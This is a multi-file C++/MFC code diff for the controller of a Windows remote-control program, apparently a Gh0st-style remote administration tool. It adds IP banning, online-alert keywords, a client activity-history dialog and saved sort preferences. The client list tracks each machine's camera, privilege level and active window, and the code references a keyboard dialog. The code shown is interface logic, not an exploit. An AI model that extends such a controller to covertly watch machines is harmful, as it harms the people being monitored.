||||
}
|
||||
|
||||
// Helper to convert string to lowercase
|
||||
auto toLower = [](const std::string& str) -> std::string {
|
||||
std::string result = str;
|
||||
std::transform(result.begin(), result.end(), result.begin(), ::tolower);
|
||||
return result;
|
||||
};
|
||||
|
||||
// Use the same deduplication logic as OnOnlineLoginNotify
|
||||
NotifyConfig config = GetNotifyManager().GetConfig();
|
||||
NotifyRule& rule = config.GetRule();
|
||||
|
||||
// Parse existing keywords into a set for deduplication (case-insensitive)
|
||||
std::set<std::string> existingKeywordsLower;
|
||||
std::vector<std::string> existingKeywords;
|
||||
std::string pattern = rule.matchPattern;
|
||||
size_t patternPos = 0;
|
||||
while ((patternPos = pattern.find(';')) != std::string::npos) {
|
||||
std::string kw = pattern.substr(0, patternPos);
|
||||
size_t start = kw.find_first_not_of(" \t");
|
||||
size_t end = kw.find_last_not_of(" \t");
|
||||
if (start != std::string::npos) {
|
||||
std::string trimmed = kw.substr(start, end - start + 1);
|
||||
existingKeywordsLower.insert(toLower(trimmed));
|
||||
existingKeywords.push_back(trimmed);
|
||||
}
|
||||
pattern.erase(0, patternPos + 1);
|
||||
}
|
||||
if (!pattern.empty()) {
|
||||
size_t start = pattern.find_first_not_of(" \t");
|
||||
size_t end = pattern.find_last_not_of(" \t");
|
||||
if (start != std::string::npos) {
|
||||
std::string trimmed = pattern.substr(start, end - start + 1);
|
||||
existingKeywordsLower.insert(toLower(trimmed));
|
||||
existingKeywords.push_back(trimmed);
|
||||
}
|
||||
}
|
||||
|
||||
// Add new IPs if not already present
|
||||
int addedCount = 0;
|
||||
for (const auto& ip : ipsToAdd) {
|
||||
if (existingKeywordsLower.find(toLower(ip)) == existingKeywordsLower.end()) {
|
||||
existingKeywordsLower.insert(toLower(ip));
|
||||
existingKeywords.push_back(ip);
|
||||
addedCount++;
|
||||
}
|
||||
}
|
||||
|
||||
if (addedCount == 0) {
|
||||
MessageBoxL("所有解析出的 IP 已在上线提醒列表中", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// Rebuild match pattern
|
||||
std::string newPattern;
|
||||
for (const auto& kw : existingKeywords) {
|
||||
if (!newPattern.empty()) {
|
||||
newPattern += ";";
|
||||
}
|
||||
newPattern += kw;
|
||||
}
|
||||
|
||||
// Update config (preserve existing columnIndex and triggerType)
|
||||
rule.matchPattern = newPattern;
|
||||
rule.enabled = true;
|
||||
if (rule.triggerType == NOTIFY_TRIGGER_NONE) {
|
||||
rule.triggerType = NOTIFY_TRIGGER_HOST_ONLINE;
|
||||
}
|
||||
|
||||
GetNotifyManager().SetConfig(config);
|
||||
GetNotifyManager().SaveConfig();
|
||||
|
||||
// Build message with SMTP warning if not configured
|
||||
CString msg;
|
||||
msg.Format(_TR("已添加 %d 个 IP 到上线提醒列表"), addedCount);
|
||||
if (!config.smtp.IsValid()) {
|
||||
msg += _T("\n\n");
|
||||
msg += _TR("注意: SMTP 未配置,请先在通知设置中配置邮箱");
|
||||
}
|
||||
MessageBoxL(msg, _TR("上线提醒"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnMsglogBanIP()
|
||||
{
|
||||
// Get selected log messages and extract IP addresses from them
|
||||
std::vector<std::string> ipsToAdd;
|
||||
|
||||
POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
|
||||
while (pos) {
|
||||
int row = m_CList_Message.GetNextSelectedItem(pos);
|
||||
// Column 2 is the message content ("信息内容")
|
||||
CString msgText = m_CList_Message.GetItemText(row, 2);
|
||||
|
||||
CString extractedIP;
|
||||
if (ExtractFirstIPFromMessage(msgText, extractedIP)) {
|
||||
std::string ipUtf8 = CT2A(extractedIP, CP_UTF8);
|
||||
ipsToAdd.push_back(ipUtf8);
|
||||
}
|
||||
}
|
||||
|
||||
if (ipsToAdd.empty()) {
|
||||
MessageBoxL("所选日志消息中未检测到有效的 IP 地址", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process each extracted IP
|
||||
int bannedCount = 0;
|
||||
int alreadyCount = 0;
|
||||
int whitelistCount = 0;
|
||||
|
||||
for (const auto& ip : ipsToAdd) {
|
||||
// Cannot ban whitelisted IPs
|
||||
if (IPWhitelist::getInstance().IsWhitelisted(ip)) {
|
||||
whitelistCount++;
|
||||
continue;
|
||||
}
|
||||
// Already in blacklist
|
||||
if (IPBlacklist::getInstance().IsBlacklisted(ip)) {
|
||||
alreadyCount++;
|
||||
continue;
|
||||
}
|
||||
|
||||
IPBlacklist::getInstance().AddIP(ip);
|
||||
bannedCount++;
|
||||
}
|
||||
|
||||
// Persist to config
|
||||
if (bannedCount > 0) {
|
||||
std::string blacklistStr = IPBlacklist::getInstance().Export();
|
||||
THIS_CFG.SetStr("settings", "IPBlacklist", blacklistStr.c_str());
|
||||
}
|
||||
|
||||
// Build result message
|
||||
CString details;
|
||||
if (bannedCount > 0) {
|
||||
details.AppendFormat(_TR("已封禁 %d 个 IP"), bannedCount);
|
||||
}
|
||||
if (alreadyCount > 0) {
|
||||
if (!details.IsEmpty()) details += _T("\n");
|
||||
details.AppendFormat(_TR("%d 个 IP 已在黑名单中"), alreadyCount);
|
||||
}
|
||||
if (whitelistCount > 0) {
|
||||
if (!details.IsEmpty()) details += _T("\n");
|
||||
details.AppendFormat(_TR("%d 个 IP 在白名单中,已跳过"), whitelistCount);
|
||||
}
|
||||
|
||||
if (details.IsEmpty()) {
|
||||
details = _TR("未执行任何操作");
|
||||
}
|
||||
|
||||
MessageBoxL(details, _TR("封禁IP"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnMsglogUnbanIP()
|
||||
{
|
||||
// Get selected log messages and extract IP addresses from them
|
||||
std::vector<std::string> ipsToProcess;
|
||||
|
||||
POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
|
||||
while (pos) {
|
||||
int row = m_CList_Message.GetNextSelectedItem(pos);
|
||||
CString msgText = m_CList_Message.GetItemText(row, 2);
|
||||
|
||||
CString extractedIP;
|
||||
if (ExtractFirstIPFromMessage(msgText, extractedIP)) {
|
||||
std::string ipUtf8 = CT2A(extractedIP, CP_UTF8);
|
||||
ipsToProcess.push_back(ipUtf8);
|
||||
}
|
||||
}
|
||||
|
||||
if (ipsToProcess.empty()) {
|
||||
MessageBoxL("所选日志消息中未检测到有效的 IP 地址", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
int unblacklistedCount = 0;
|
||||
int clientRestoredCount = 0;
|
||||
|
||||
for (const auto& ip : ipsToProcess) {
|
||||
// 1. Remove from IP blacklist
|
||||
if (IPBlacklist::getInstance().IsBlacklisted(ip)) {
|
||||
IPBlacklist::getInstance().RemoveIP(ip);
|
||||
unblacklistedCount++;
|
||||
}
|
||||
|
||||
// 2. Find all clients matching this IP and restore AUTH_FORBIDDEN to UNAUTHORIZED
|
||||
for (const auto& kv : m_ClientMap->GetAll()) {
|
||||
if (strcmp(kv.second.IP, ip.c_str()) == 0
|
||||
&& kv.second.Authorized == AUTH_FORBIDDEN) {
|
||||
m_ClientMap->SetClientMapInteger(kv.first, MAP_AUTH, UNAUTHORIZED);
|
||||
clientRestoredCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Persist
|
||||
if (unblacklistedCount > 0) {
|
||||
std::string blacklistStr = IPBlacklist::getInstance().Export();
|
||||
THIS_CFG.SetStr("settings", "IPBlacklist", blacklistStr.c_str());
|
||||
}
|
||||
if (clientRestoredCount > 0) {
|
||||
m_ClientMap->SaveToFile(GetDbPath());
|
||||
}
|
||||
|
||||
// Build result message
|
||||
CString details;
|
||||
if (unblacklistedCount > 0) {
|
||||
details.AppendFormat(_TR("已将 %d 个 IP 从黑名单移除"), unblacklistedCount);
|
||||
}
|
||||
if (clientRestoredCount > 0) {
|
||||
if (!details.IsEmpty()) details += _T("\n");
|
||||
details.AppendFormat(_TR("已恢复 %d 个客户端的授权状态"), clientRestoredCount);
|
||||
}
|
||||
if (unblacklistedCount == 0 && clientRestoredCount == 0) {
|
||||
details = _TR("未找到需要解除封禁的 IP");
|
||||
}
|
||||
|
||||
MessageBoxL(details, _TR("解除封禁"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineAddWatch()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -11655,6 +12039,12 @@ void CMy2015RemoteDlg::OnOnlineClientLog()
|
||||
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineHistoryActivity()
|
||||
{
|
||||
BYTE cmd = COMMAND_QUERY_ACTIVITY;
|
||||
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
std::string* pInitLog = reinterpret_cast<std::string*>(wParam);
|
||||
|
||||
@@ -173,6 +173,9 @@ protected:
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
void SortByColumn(int nColumn);
|
||||
void ApplySort(); // 按偏好重排 m_HostList(调用方需持有 m_cs)
|
||||
void LoadSortPreference();
|
||||
void SaveSortPreference();
|
||||
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
|
||||
@@ -342,6 +345,8 @@ public:
|
||||
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
|
||||
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
|
||||
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
|
||||
int m_nSortColumn = -1; // 当前排序列,-1 表示未排序
|
||||
bool m_bSortAscending = true; // 排序方向(true=升序)
|
||||
std::set<std::string> m_GroupList;
|
||||
std::string m_selectedGroup;
|
||||
std::string m_v2KeyPath; // V2 密钥文件路径
|
||||
@@ -385,7 +390,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[63];
|
||||
CBitmap m_bmOnline[66];
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -564,6 +569,9 @@ public:
|
||||
afx_msg void OnMsglogCopy();
|
||||
afx_msg void OnMsglogClear();
|
||||
afx_msg void OnMsglogSearch();
|
||||
afx_msg void OnMsglogLoginNotify();
|
||||
afx_msg void OnMsglogBanIP();
|
||||
afx_msg void OnMsglogUnbanIP();
|
||||
afx_msg void OnOnlineAddWatch();
|
||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnOnlineRunAsAdmin();
|
||||
@@ -642,6 +650,7 @@ public:
|
||||
afx_msg void OnOnlineActiveWnd();
|
||||
afx_msg void OnEnableDevDebug();
|
||||
afx_msg void OnOnlineClientLog();
|
||||
afx_msg void OnOnlineHistoryActivity();
|
||||
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnOnlineForbidden();
|
||||
};
|
||||
@@ -291,6 +291,7 @@
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CClientListDlg.h" />
|
||||
<ClInclude Include="CClientLog.h" />
|
||||
<ClInclude Include="CActivityDialog.h" />
|
||||
<ClInclude Include="LogSearchBar.h" />
|
||||
<ClInclude Include="CDlgFileSend.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
@@ -374,6 +375,7 @@
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||
<ClCompile Include="CClientLog.cpp" />
|
||||
<ClCompile Include="CActivityDialog.cpp" />
|
||||
<ClCompile Include="LogSearchBar.cpp" />
|
||||
<ClCompile Include="msvc_compat.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
// CActivityDialog.cpp: 历史活动展示对话框(一次性快照,无子连接)
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CActivityDialog.h"
|
||||
#include "resource.h"
|
||||
#include "../../common/commands.h"
|
||||
|
||||
IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx)
|
||||
|
||||
CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
|
||||
: CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
|
||||
{
|
||||
}
|
||||
|
||||
CActivityDialog::~CActivityDialog()
|
||||
{
|
||||
}
|
||||
|
||||
void CActivityDialog::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogBase::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase)
|
||||
ON_WM_SIZE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CActivityDialog::OnInitDialog()
|
||||
{
|
||||
CDialogBase::OnInitDialog();
|
||||
SetWindowText(_TR("历史活动") + " - " + m_IPAddress);
|
||||
HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
|
||||
SetIcon(hIcon, TRUE);
|
||||
SetIcon(hIcon, FALSE);
|
||||
// 用 Segoe UI:MBCS 工程里模板默认字体是 Microsoft Sans Serif(无 Dingbats 字形),
|
||||
// 显式指定 Segoe UI,中文走字体链接到微软雅黑、Dingbats(✻/✦)走 Segoe UI Symbol 回退。
|
||||
m_font.CreatePointFont(90, _T("Segoe UI"));
|
||||
m_editLog.SetFont(&m_font);
|
||||
// 重建为 Unicode 编辑框:这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。
|
||||
RebuildEdit(m_editLog);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CActivityDialog::RebuildEdit(CEdit& m_edit)
|
||||
{
|
||||
CRect rc;
|
||||
m_edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
DWORD style = m_edit.GetStyle();
|
||||
DWORD exStyle = m_edit.GetExStyle();
|
||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||
m_edit.DestroyWindow();
|
||||
HWND hEdit = ::CreateWindowExW(
|
||||
exStyle, L"EDIT", L"", style,
|
||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||
AfxGetInstanceHandle(), NULL);
|
||||
m_edit.Attach(hEdit);
|
||||
if (hFont)
|
||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
}
|
||||
|
||||
void CActivityDialog::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialogBase::OnSize(nType, cx, cy);
|
||||
if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
|
||||
m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
|
||||
}
|
||||
|
||||
// 快照模式:无子连接,OnReceiveComplete 空实现(纯虚函数必须覆盖)
|
||||
void CActivityDialog::OnReceiveComplete()
|
||||
{
|
||||
}
|
||||
|
||||
void CActivityDialog::AppendLog(const std::string& text)
|
||||
{
|
||||
if (text.empty()) return;
|
||||
|
||||
// \n → \r\n,Windows 编辑框换行需要 \r\n
|
||||
std::string norm;
|
||||
norm.reserve(text.size() + 64);
|
||||
for (size_t i = 0; i < text.size(); ++i) {
|
||||
if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
|
||||
norm += '\r';
|
||||
norm += text[i];
|
||||
}
|
||||
|
||||
// 服务端是 MBCS 工程,编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码;
|
||||
// 与"活动窗口"列一致,用 W 接口显示:先把 UTF-8 转成宽字符,再走 WM_SETTEXTW 写入。
|
||||
// (编辑框已在 OnInitDialog 中重建为 Unicode 窗口,SetWindowTextW 不会经过 CP_ACP 回转。)
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0);
|
||||
if (wlen <= 0) return;
|
||||
std::wstring w(wlen, L'\0');
|
||||
MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen);
|
||||
::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str());
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
class CActivityDialog : public CDialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CActivityDialog)
|
||||
|
||||
public:
|
||||
CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
|
||||
virtual ~CActivityDialog();
|
||||
|
||||
virtual void OnReceiveComplete();
|
||||
void AppendLog(const std::string& text);
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
// 把编辑框重建为 Unicode 类窗口(同 CKeyBoardDlg::RebuildEdit)。
|
||||
// 工程是 MBCS,对话框模板创建的是 ANSI 编辑框,SetWindowTextW 会在 W->A
|
||||
// 边界用 CP_ACP 转码,Dingbats(✻/✦)等字符会变 ?。重建为 Unicode 后
|
||||
// W 版消息直通,不再走 CP_ACP。
|
||||
void RebuildEdit(CEdit& m_edit);
|
||||
|
||||
CEdit m_editLog;
|
||||
CFont m_font; // 编辑框字体(成员持有,随对话框销毁,避免堆泄漏)
|
||||
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_CLIENT_LOG };
|
||||
#endif
|
||||
};
|
||||
@@ -104,10 +104,14 @@ inline const char* GetColumnName(int index) {
|
||||
"Camera", // 6
|
||||
"RTT", // 7
|
||||
"Version", // 8
|
||||
"Privilege", // 9 ONLINELIST_PRIVILEGE
|
||||
"InstallTime", // 10 ONLINELIST_INSTALLTIME
|
||||
"ActiveWindow", // 11 ONLINELIST_LOGINTIME
|
||||
"ClientType", // 12 ONLINELIST_CLIENTTYPE
|
||||
"InstallTime", // 9 ONLINELIST_INSTALLTIME
|
||||
"ActiveWindow", // 10 ONLINELIST_LOGINTIME
|
||||
"ClientType", // 11 ONLINELIST_CLIENTTYPE
|
||||
"Path", // 12 ONLINELIST_PATH
|
||||
"PublicIP", // 13 ONLINELIST_PUBIP
|
||||
"StartTime", // 14 ONLINELIST_STARTTIME
|
||||
"Capabilities", // 15 ONLINELIST_CAPABILITIES
|
||||
"Privilege", // 16 ONLINELIST_PRIVILEGE
|
||||
};
|
||||
if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
|
||||
return names[index];
|
||||
|
||||
@@ -141,35 +141,52 @@ bool NotifyManager::ShouldNotify(context* ctx, std::string& outMatchedKeyword, c
|
||||
}
|
||||
}
|
||||
|
||||
// Get column text (for COMPUTER_NAME column, prefer remark if available)
|
||||
// Split pattern by semicolon and get keywords
|
||||
std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
|
||||
|
||||
// Helper: check if any keyword matches a given column text
|
||||
auto matchColumn = [&keywords, this](const CString& colText) -> std::string {
|
||||
if (colText.IsEmpty()) return "";
|
||||
std::string colTextStr = CT2A(colText, CP_UTF8);
|
||||
std::string colLower = colTextStr;
|
||||
std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
|
||||
|
||||
for (const auto& kw : keywords) {
|
||||
std::string trimmed = Trim(kw);
|
||||
if (trimmed.empty()) continue;
|
||||
|
||||
std::string kwLower = trimmed;
|
||||
std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
|
||||
|
||||
if (colLower.find(kwLower) != std::string::npos) {
|
||||
return trimmed;
|
||||
}
|
||||
}
|
||||
return "";
|
||||
};
|
||||
|
||||
// Check primary column (for COMPUTER_NAME column, prefer remark if available)
|
||||
CString colText;
|
||||
if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) {
|
||||
colText = remark;
|
||||
} else {
|
||||
colText = ctx->GetClientData(rule.columnIndex);
|
||||
}
|
||||
if (colText.IsEmpty()) return false;
|
||||
std::string matched = matchColumn(colText);
|
||||
if (!matched.empty()) {
|
||||
outMatchedKeyword = matched;
|
||||
m_config.lastNotifyTime[clientId] = now;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Convert to std::string for matching
|
||||
std::string colTextStr = CT2A(colText, CP_UTF8);
|
||||
|
||||
// Split pattern by semicolon and check each keyword
|
||||
std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
|
||||
for (const auto& kw : keywords) {
|
||||
std::string trimmed = Trim(kw);
|
||||
if (trimmed.empty()) continue;
|
||||
|
||||
// Case-insensitive substring search
|
||||
std::string colLower = colTextStr;
|
||||
std::string kwLower = trimmed;
|
||||
std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
|
||||
std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
|
||||
|
||||
if (colLower.find(kwLower) != std::string::npos) {
|
||||
outMatchedKeyword = trimmed;
|
||||
m_config.lastNotifyTime[clientId] = now;
|
||||
return true;
|
||||
}
|
||||
// Also check the IP column (ONLINELIST_IP) so IP keywords added from log
|
||||
// messages can match against host IP addresses when they come online.
|
||||
CString ipText = ctx->GetClientData(ONLINELIST_IP);
|
||||
matched = matchColumn(ipText);
|
||||
if (!matched.empty()) {
|
||||
outMatchedKeyword = matched;
|
||||
m_config.lastNotifyTime[clientId] = now;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
@@ -111,10 +111,10 @@ void NotifySettingsDlg::PopulateComboBoxes()
|
||||
{ ONLINELIST_VIDEO, _T("摄像头") },
|
||||
{ ONLINELIST_PING, _T("延迟") },
|
||||
{ ONLINELIST_VERSION, _T("版本") },
|
||||
{ ONLINELIST_PRIVILEGE, _T("权限") },
|
||||
{ ONLINELIST_INSTALLTIME, _T("安装时间") },
|
||||
{ ONLINELIST_LOGINTIME, _T("活动窗口") },
|
||||
{ ONLINELIST_CLIENTTYPE, _T("客户端类型") },
|
||||
{ ONLINELIST_PRIVILEGE, _T("权限") },
|
||||
};
|
||||
for (const auto& col : columns) {
|
||||
CString item;
|
||||
|
||||
@@ -80,6 +80,7 @@ BOOL CSystemDlg::OnInitDialog()
|
||||
SetWindowText(str);//设置对话框标题
|
||||
|
||||
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
|
||||
LoadSortPreference(); // 加载上次记忆的排序偏好
|
||||
if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表
|
||||
m_ControlList.InsertColumnL(0, "映像名称", LVCFMT_LEFT, 180);
|
||||
m_ControlList.InsertColumnL(1, "PID", LVCFMT_LEFT, 70);
|
||||
@@ -227,6 +228,8 @@ void CSystemDlg::ShowWindowsList(void)
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_ControlList.SetColumn(1, &lvc);
|
||||
|
||||
ApplySort(); // 应用记忆的排序偏好
|
||||
}
|
||||
|
||||
void CSystemDlg::ShowProcessList(void)
|
||||
@@ -260,8 +263,8 @@ void CSystemDlg::ShowProcessList(void)
|
||||
m_ControlList.SetItemText(i, 1, str);
|
||||
m_ControlList.SetItemText(i, 2, szProcessFullPath);
|
||||
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
|
||||
// ItemData 为进程ID
|
||||
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() };
|
||||
// ItemData 为进程ID;Data[3] 需与第 4 列"架构"一致,否则按架构排序拿到空串而无意义
|
||||
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
|
||||
m_ControlList.SetItemData(i, DWORD_PTR(data));
|
||||
|
||||
dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环
|
||||
@@ -273,6 +276,8 @@ void CSystemDlg::ShowProcessList(void)
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程
|
||||
|
||||
ApplySort(); // 应用记忆的排序偏好
|
||||
}
|
||||
|
||||
|
||||
@@ -319,8 +324,6 @@ int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM
|
||||
|
||||
void CSystemDlg::SortByColumn(int nColumn)
|
||||
{
|
||||
static int m_nSortColumn = 0;
|
||||
static bool m_bSortAscending = false;
|
||||
if (nColumn == m_nSortColumn) {
|
||||
// 如果点击的是同一列,切换排序顺序
|
||||
m_bSortAscending = !m_bSortAscending;
|
||||
@@ -330,11 +333,56 @@ void CSystemDlg::SortByColumn(int nColumn)
|
||||
m_bSortAscending = true;
|
||||
}
|
||||
|
||||
ApplySort();
|
||||
SaveSortPreference();
|
||||
}
|
||||
|
||||
void CSystemDlg::ApplySort()
|
||||
{
|
||||
// 无有效排序偏好时保持列表原始顺序
|
||||
if (m_nSortColumn < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 防御:配置被手动修改导致列索引越界时跳过排序
|
||||
CHeaderCtrl* pHeader = m_ControlList.GetHeaderCtrl();
|
||||
if (pHeader && m_nSortColumn >= pHeader->GetItemCount()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 创建排序信息
|
||||
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
|
||||
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
|
||||
}
|
||||
|
||||
void CSystemDlg::LoadSortPreference()
|
||||
{
|
||||
// 进程管理 / 窗口管理 分别记忆各自的排序偏好
|
||||
const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
|
||||
std::string val = THIS_CFG.GetStr("list", key, "");
|
||||
if (val.empty()) {
|
||||
m_nSortColumn = -1; // 无偏好:保持列表原始顺序
|
||||
m_bSortAscending = true;
|
||||
return;
|
||||
}
|
||||
|
||||
auto arr = StringToVector(val, ',');
|
||||
if (arr.size() >= 2) {
|
||||
m_nSortColumn = atoi(arr[0].c_str());
|
||||
m_bSortAscending = (atoi(arr[1].c_str()) != 0);
|
||||
} else {
|
||||
m_nSortColumn = -1;
|
||||
m_bSortAscending = true;
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemDlg::SaveSortPreference()
|
||||
{
|
||||
const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
|
||||
std::string val = std::to_string(m_nSortColumn) + "," + (m_bSortAscending ? "1" : "0");
|
||||
THIS_CFG.SetStr("list", key, val);
|
||||
}
|
||||
|
||||
void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||
|
||||
@@ -19,6 +19,8 @@ public:
|
||||
void OnReceiveComplete(void);
|
||||
CWnd* m_pParent;
|
||||
BOOL m_bHow;
|
||||
int m_nSortColumn = -1; // 当前排序列,-1 表示未排序
|
||||
bool m_bSortAscending = true; // 排序方向(true=升序)
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_SYSTEM };
|
||||
|
||||
@@ -32,6 +34,9 @@ public:
|
||||
|
||||
void DeleteAllItems();
|
||||
void SortByColumn(int nColumn);
|
||||
void ApplySort();
|
||||
void LoadSortPreference();
|
||||
void SaveSortPreference();
|
||||
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
|
||||
|
||||
@@ -14,7 +14,6 @@ enum {
|
||||
ONLINELIST_VIDEO, // 摄像头(有无)
|
||||
ONLINELIST_PING, // PING(对方的网速)
|
||||
ONLINELIST_VERSION, // 版本信息
|
||||
ONLINELIST_PRIVILEGE, // 权限级别 (SYSTEM/Admin/User)
|
||||
ONLINELIST_INSTALLTIME, // 安装时间
|
||||
ONLINELIST_LOGINTIME, // 活动窗口
|
||||
ONLINELIST_CLIENTTYPE, // 客户端类型
|
||||
@@ -22,6 +21,7 @@ enum {
|
||||
ONLINELIST_PUBIP,
|
||||
ONLINELIST_STARTTIME,
|
||||
ONLINELIST_CAPABILITIES, // 客户端能力位
|
||||
ONLINELIST_PRIVILEGE, // 权限级别 (SYSTEM/Admin/User)
|
||||
ONLINELIST_MAX,
|
||||
};
|
||||
|
||||
|
||||
@@ -1956,6 +1956,7 @@ FRPC Զ
|
||||
设置失败! 通常是权限不足, 请手动在系统环境变量设置。=Failed! You have to set it via system environment center.
|
||||
运行日志=Client Log
|
||||
客户端日志=Client Log
|
||||
